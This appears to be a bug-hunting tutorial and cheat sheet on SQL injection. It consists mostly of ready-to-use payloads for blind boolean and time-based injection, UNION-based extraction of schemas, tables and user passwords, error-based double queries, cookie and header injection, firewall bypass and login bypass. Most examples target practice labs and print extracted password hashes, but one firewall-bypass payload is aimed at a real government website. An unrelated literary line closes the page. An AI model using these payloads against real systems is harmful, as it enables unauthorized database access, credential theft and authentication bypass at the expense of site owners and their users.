Blind SQL Injection
Blind Boolean Based SQL Injection
and 1=1 {true }
and 1=2 {false }
and "a"="b"
and database()="xyz"
We can not assume the database
and sub string(database(),1,1)="a"
http://192.168.1.103/sqli-labs-master/Less-8/?id=1' and substring(database(),1,1)="s" -- {true vale that means first character of first database is s}
http://192.168.1.103/sqli-labs-master/Less-8/?id=1' and substring(database(),2,1)="e" -- {true second character of first database is e}
Blind Time Based SQL Injection
' and sleep(10) --
" and sleep(10) --
') and sleep(10) --
how to extract database for blind time based sqli
' and sleep(10) and 1=1 --
i gave http://192.168.1.103/sqli-labs-master/Less-9/?id=1' and sleep(10) and database()="security" -- its sleeping that’s means
http://192.168.1.103/sqli-labs-master/Less-9/?id=1' and sleep(10) and database()="xyz" --
(Its not sleeping for 10 sec)
Exploitation of GET Based sqli
1. Database List -
hackbar->union->database->group_concat
information_schema
challenges
dvwa
MetasploitMySQLowasp10
security
tikiwiki
tikiwiki195
2.Find tables of a database -dvwa
hackbar->union->tables->group_concat
guestbook
users
3. Find columns of a table - guestbook
comment_id
comment
name
4. Data of that columns
name,comment
hackbar->union->data->group_concat
name,"<------>",comment,"---->",third
Error Based Double Query Exploitaion
What about other Database for if want to fetch remaining database you have to increase first value of first limit
LIMIT 1,1 - challenges
LIMIT 2,1 - dvwa
LIMIT 3,1 - metasploit
tables
Default Tables
LIMIT 0,1 - guestbook
LIMIT 1,1 - users
LIMIT 2,1 -- you are not getting anything that means there is only two tables
columns for double query based
LIMIT 0,1 - user_id
LIMIT 1,1. --- first name
LIMIT 2,1)). --- last_name
LIMIT 3,1)). ---- user
LIMIT 4,1)). --- password
LIMIT 5,1)). -- avatar
LIMIT 0,1)). ---- nothing
Data of these columns
user password
admin 5f4dcc3b5aa765d61d8327deb882cf99
Gordon e99a18c428cb38d5f260853678922e03
1337 8d3533d75ae2c3966d7e0d4fcc69216b
Pablo
Post Based SQLI
Balance the query
' --
Problem is not working with post based instead of + use space ( ) or you can also use # to fix (#) is also used for comment out part of sqli query.
-- or #
Find total no of vulnerable columns
order by 1
find exact no of vulnerable columns
' union all select 1,2 #
Execute database query
' union all select database(),user() #
Less -12
") union all select 1,2 #
") union all select database(),user() #
Blind boolean post based SQL Injection
' OR 1=1 #
" OR 1=1 #
') OR 1=1 #
") OR 1=1 #
' OR database()="security" #
' OR sub string(database(),1,1)="a" #
' OR sub string(database(),1,1)="s" #
First character of database is s
' OR substring(database(),2,1)="e" #
Second character of database is e
Blind time based
' OR sleep(10) #
" OR sleep(10) #
') OR sleep(10) #
") OR sleep(10) # {worked}
") OR sleep(10) and 1=1 #
") OR sleep(10) and substring(database(),3,1)="a" #
application is sleeping when we fired this
") OR sleep(10) and substring(database(),3,1)="c" #
That means third character of database is c
Exploitation of POST Based SQLI
inject database query
1. Database list
hackbar -> union -> database-> group_concat
' union all select (SELECT GROUP_CONCAT(schema_name SEPARATOR 0x3c62723e) FROM INFORMATION_SCHEMA.SCHEMATA),2 #
information_schema
challenges
dvwa
MetasploitMySQLowasp10
security
tikiwiki
tikiwiki195
2. Find table of a database - security
' union all select (SELECT GROUP_CONCAT(table_name SEPARATOR 0x3c62723e) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=0x7365637572697479),2 #
E-Mails
referrersuser-agents
users
3. Find columns of a table - users
hackbar->union->columns->group_concat
' union all select (SELECT GROUP_CONCAT(column_name SEPARATOR 0x3c62723e) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=0x7573657273),2 #
user_id
first_name
last_name
user
password
avatar
id
username
password
4. Data of these columns - user, password
user,"<----->“, password
' union all select 1,(SELECT GROUP_CONCAT(username,"<----->",password SEPARATOR 0x3c62723e) FROM security.users) #
Error Based Double Query Exploitation Post Method
') AND(SELECT 1 from(SELECT COUNT(*),CONCAT((SELECT (SELECT (SELECT DISTINCT CONCAT(0x7e,0x27,CAST(schema_name AS CHAR),0x27,0x7e) FROM INFORMATION_SCHEMA.SCHEMATA WHERE table_schema!=DATABASE() LIMIT 3,1)) FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1), FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) AND 1=1 #
Cookie Based SQLI
target - testphp.vulnweb.com
Balance Query
' --
' and 'x'='x
select login='test/test' and 'x'='x ' where something other part of query
-------------------------------------------
Header Based sqli
Balance Query
' --
' and 'a'='a
select referrer='value ' OR SLEEP(5) and 'a'='a ' something other part of query
-------------------------------------------
WAF-Web application firewall by passing
Earlier i tried
' order by 1 --+
When I tried
' union all select 1,2,3,4,5,6,7 --+
I got not acceptable error
Either union may be illegal keyword may be all will be illegal input select
illegal word (word)= /*!12345word*/
' /*!12345union*/ all select 1,2,3 --+
http://multan.gov.pk/page.php?data=-2' /*!12345union*/ all select 1,2,database(),4,5,6,7 --+
Now exploit this
all database list
hackbar->union->database->group_concat
on any reflect no
(SELECT+GROUP_CONCAT(schema_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.SCHEMATA)
' /*!12345union*/ all select 1,2,(SELECT+/*!12345GROUP_CONCAT*/(schema_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.SCHEMATA),4,5,6,7 --+
Authentication Bypassing through SQLI
Let’s assume background of login page
select username ='value1'&password='value2' where some other part of query
value1 = ' OR 1=1 --
select username ='' OR 1=1 -- '&password='value2' where some other part of query
value1= 1' OR '1'='1
select username ='1' OR '1'='1 '&password='value2' where some other part of query
So guys this was all about SQl Injection which the most critical vulnerability in these days in the web applications.
I hope this would be helpful for you guys to hunt more quickly if you find any grammar error please let me know in the comment box as well as you can send it on the mail attached in the author section.
Thank you happy Hunting
Resource from Hunter 1.0: Vikash Chaudhary
Follow Us
Were this world an endless plain, and by sailing eastward we could for ever reach new distances